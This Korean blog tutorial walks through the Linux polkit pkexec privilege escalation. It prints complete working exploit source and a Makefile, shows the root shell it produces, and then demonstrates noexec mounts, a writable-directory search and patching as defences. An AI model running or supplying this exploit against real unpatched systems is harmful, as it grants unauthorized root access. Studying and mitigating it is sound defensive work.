https://www.boannews.com/media/view.asp?idx=104468
루트 권한을 얻어보자!
리눅스 polkit 취약점
파일 3개: evil-so.c, exploit.c, Makefile
1. 사용자 생성
# useradd user1
# passwd user1
2. 공격 코드 작성
공격자가 공격코드를 작성해서 컴파일한다.
user1로 로그인해서 evil-so.c 파일을 생성한다.
$ vi evil-so.c
// evil-so.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
exploit.c 파일을 생성한다.
$ vi exploit.c
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
Makefile을 생성한다.
$ vi Makefile
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
3. gcc 설치
gcc를 설치한다.
# yum -y install gcc
4. 컴파일
make 를 이용해서 컴파일해서 실행파일 exploit, evil.so 파일을 생성한다.
$ make
5. 공격코드 실행
생성된 exploit 파일을 실행한다.
문제가 되는 취약점을 공략해서 일반유저 -> 관리자 권한을 획득한다. (권한 상승)
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
취약점 막기
취약점에 대한 방어를 하기 위해서는 업데이트를 해야한다.
일반유저가 쓰기 권한을 가지고 있는 디렉터리에 대해서 실행권한을 빼주는 것이 안전하다.
- /etc/fstab 부분에 option 부분의 defaults ( exec 실행 ) -> defaults,noexec 으로 수정하면
실행파일이 그쪽 파티션에 있어도 실행할 수 없는 것이다.
여기서는 자동으로 설치했기 때문에 파티션이 분할되지 않았기 때문에
분할된 파티션인 /boot 디렉터리에서 사용자를 /boot 디렉터리 밑에 생성 시킨다.
취약점 막기
# mkdir /boot/home2
# useradd -D -b /boot/home2
# useradd -D
GROUP=100
HOME=/boot/home2
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
# vi /etc/fstab
/dev/mapper/centos-root / xfs defaults 0 0
UUID=bbc7b2e7-350e-4801-9562-5d920043786f /boot xfs defaults,noexec 0 0
/dev/mapper/centos-swap swap swap defaults 0 0
# mount -o remount /boot
# mount | grep boot
/dev/sda1 on /boot type xfs (rw,noexec,relatime,seclabel,attr2,inode64,noquota)
# useradd user2
# passwd user2
user2가 로그인을 한다.
[user2@localhost ~]$ pwd
/boot/home2/user2
$ vi evil-so.c
$ vi exploit.c
$ vi Makefile
$ make
$ ll
합계 36
-rw-rw-r--. 1 user2 user2 149 6월 13 17:46 Makefile
-rw-rw-r--. 1 user2 user2 199 6월 13 17:45 evil-so.c
-rwxrwxr-x. 1 user2 user2 8224 6월 13 17:46 evil.so
-rwxrwxr-x. 1 user2 user2 8416 6월 13 17:46 exploit
-rw-rw-r--. 1 user2 user2 629 6월 13 17:46 exploit.c
실행파일이 실행되지 않게 설정한 (defaults,noexec) 파티션에서 공격코드를 실행하면 허가 거부된다.
$ ./exploit
-bash: ./exploit: 허가 거부
공격자 입장에서 전체 시스템 디렉터리에서 일반유저가 저장(write)할 수 있는 디렉터리를 모두 찾는다.
$ find / -perm -1000 2> /dev/null -ls
8517 0 drwxrwxrwt 2 root root 40 6월 13 16:12 /dev/mqueue
8741 0 drwxrwxrwt 4 root root 120 6월 13 17:49 /dev/shm
69 0 drwxrwxrwt 3 root root 85 6월 13 17:16 /var/tmp
16777288 0 drwxrwxrwt 10 root root 276 6월 13 17:47 /tmp
17324864 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.Test-unix
50623472 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.font-unix
295539 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.XIM-unix
17324868 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.X11-unix
50623473 0 drwxrwxrwt 2 root root 6 6월 13 16:04 /tmp/.ICE-unix
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
devtmpfs 485800 0 485800 0% /dev
tmpfs 497836 40 497796 1% /dev/shm
tmpfs 497836 7904 489932 2% /run
tmpfs 497836 0 497836 0% /sys/fs/cgroup
/dev/mapper/centos-root 17811456 1613032 16198424 10% /
/dev/sda1 1038336 140536 897800 14% /boot
tmpfs 99568 0 99568 0% /run/user/0
tmpfs 99568 0 99568 0% /run/user/1000
tmpfs 99568 0 99568 0% /run/user/1001
root로 권한 상승이 되는 이유는 ?
- 일반유저가 /tmp 디렉터리에 write,exec할 수 있기 때문에 가능하다.
GCONV_PATH=. evildir 디렉터리가 생기고 그 안에 파일을 생성하기 때문이다.
$ cd /tmp
$ pwd
/tmp
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit
$ cd /dev/shm
$ pwd
/dev/shm
$ cp ~/evil-so .
$ cp ~/exploit .
$ ./explot
# exit
실제 연습이 끝나면 사용자 디렉터리를 /boot/home2에서 /home으로 다시 원래대로 돌려 놓는다.
# useradd -D -b /home
# useradd -D
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
yum -y update
서버가 재부팅 후 로그인해서 user1 디렉터리로 이동한다.
# cd ~user1
# ls
GCONV_PATH=. Makefile evil-so.c evil.so evildir exploit exploit.c
# rm -rf GCONV_PATH\=./ evildir/
# ls
Makefile evil-so.c evil.so exploit exploit.c
user1로 로그인 해서 ./exploit을 실행한다.
polkit 취약점이 이미 패치되었기 때문에 관리자 권한을 탈취할 수 없다.
$ ./exploit
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>
$ ls
GCONV_PATH=. Makefile evil-so.c evil.so evildir exploit exploit.c
'정보 > 엔지니어' 카테고리의 다른 글
crackstation hash 암호 크랙 사이트 (0) | 2022.09.19 |
---|---|
mobaxterm SSH툴 (0) | 2022.08.26 |
니콜라스가 설명해주는 NFT 해킹 사태 (0) | 2022.05.25 |
쿠버네티스, 컨테이너 - 삼성SDS 발행 글 (0) | 2022.05.19 |
리눅스, Mac 보안 취약점 - 쉘쇼크(ShellShock) (0) | 2022.05.18 |